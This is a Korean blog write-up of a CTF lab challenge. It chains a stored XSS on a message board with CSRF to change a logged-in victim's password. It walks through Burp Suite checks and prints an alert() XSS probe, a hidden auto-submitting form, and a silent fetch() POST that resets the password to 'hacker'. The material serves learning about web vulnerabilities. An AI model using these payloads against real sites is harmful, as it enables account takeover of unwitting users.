Normaltic CTF - CSRF 1

심야·2023년 7월 14일
0

취약점 설명

CSRF 공격이란 피해자 세션을 사용해 피해자 의도와 상관없이 서버로 위조된 요청을 보내는 공격이다. 게시판, 메일함과 같이 로그인 해야만 사용 가능한 서비스에서 발생하는 취약점으로 모든 요청에서 발생한다. 하지만 비밀번호 변경, 이메일 주소 변경, 관리자 계정 등록, 계정 삭제, 글 작성, 수정 등과 같은 민감한 요청에서 더욱 취약하다.

개념 증명

CSRF 공격을 이용해 피해자 의도와 상관없이 비밀번호 변경을 시도하겠다. 그리고 해당 취약점에 대한 개념 증명을 위해 Burpsuite Proxy 모드의 Intercept, HTTP History 기능으로 CSRF 공격을 진행했다.

패스워드 수정 요청

우선 취약점 발생 여부를 확인하기 위해 마이페이지에서 test 패스워드를 입력 후 수정을 진행한다.

Burpsuite HTTP History

기존 패스워드 입력과 같은 추가적인 인증 없이도 개인정보 수정이 진행된다. 이는 CSRF 취약점 발생 가능성을 의미한다.

Burpsuite Repeater

해당 요청은 POST 메소드를 사용한다. 만약 POST 메소드로만 요청이 수행된다면 CSRF 공격을 위해 XSS 공격을 혼합해야 한다. 따라서 GET 메소드를 사용해도 요청이 정상적으로 수행되는지 확인하겠다. HTTP History 탭에서 우클릭 해 Send to Repeater 탭을 클릭한다. 또는 단축키로 Ctrl + R 버튼을 클릭한다.

Get Method Request

Repeater 탭에서 우클릭 해 Change request method를 클릭한다.

Get 메소드 변경 후 요청한 결과 잘못된 요청이라는 응답을 반환한다. 따라서 XSS 공격을 혼합해 CSRF 공격을 시도해야 한다.

XSS 취약점 확인

마이페이지가 POST 메소드로 요청을 받으므로 XSS 취약점을 확인해야 한다. 게시판의 글쓰기 기능에서 제목과 본문에 xss poc <script>alert(1)</script> , xss poc <script>alert(2)</script> 페이로드를 삽입한다.

확인 결과, XSS 취약점이 존재한다. 게시판 페이지에서 XSS 취약점과 CSRF 취약점을 연계해 공격을 시도하겠다.

소스 코드 파악

CSRF 공격을 시도하기 앞서 마이페이지 소스 코드를 파악하겠다. 마이페이지 응답 값 확인 결과 개인정보 수정을 요청하는 form 코드는 아래와 같다.

<form method="post" action="mypage_update.php">
    <div class="hori">
        <i class="far fa-user fa-2x"></i>
        <input name="id" type="text" placeholder="inmo"/>
    </div>
    <div class="hori">
        <i class="fas fa-birthday-cake fa-2x"></i>
        <input name="info" type="text" placeholder="Nothing Here..."/>
    </div>
    <div class="hori">
        <i class="fas fa-lock fa-2x"></i>
        <input name="pw" type="password" placeholder="변경할 비밀번호"/>
    </div>
    <div class="hori">
        <input type="submit" value="Update" id="signup-btnl"/>
    </div>
</form>

공격 페이로드 작성

form 태그를 사용해 공격 페이로드를 작성하겠다. 마이페이지 input 태그는 hidden 속성을 사용해 숨기고 form 태그도 div 태그의 width="0" height="0" style="display: none;" 속성을 사용해 사용자에게 보이지 않도록 한다. 그리고 게시글을 읽기만 해도 post 요청이 보내지도록 onload 이벤트 핸들러를 사용하였다.

<body onload="document.forms[0].submit()">
<div width="0" height="0" style="display: none;">
<form method = "post" action = "http://ctf.segfaulthub.com:7777/csrf_1/mypage_update.php">
<input name = "pw" type = "hidden" value="csrf"/>
<input type = "submit" value = "Update"/>
</form>
</div>
</body>

공격 결과

공격이 정상적으로 수행되어 비밀번호가 변경되었으나 아래와 같이 회원 정보 수정 알림이 발생한다. 공격 페이로드를 수정해 회원 정보가 수정되었는지 알 수 없도록 하겠다.

Stealth CSRF 공격

<script>
fetch('http://ctf.segfaulthub.com:7777/csrf_1/mypage_update.php', {method: 'POST',body: new URLSearchParams({'pw': 'hacker'})})
</script>

게시글에 접속해도 아무런 반응이 없다. 그러나 이미 스크립트는 실행된 상태라 패스워드가 hacker 로 변경되었다.

공격 성공

기존 패스워드로는 로그인에 실패하지만 피해자 의도와 상관없이 변경된 패스워드로는 로그인이 성공한다.

profile
하루하루 성실하게, 인생 전체는 되는대로.

0개의 댓글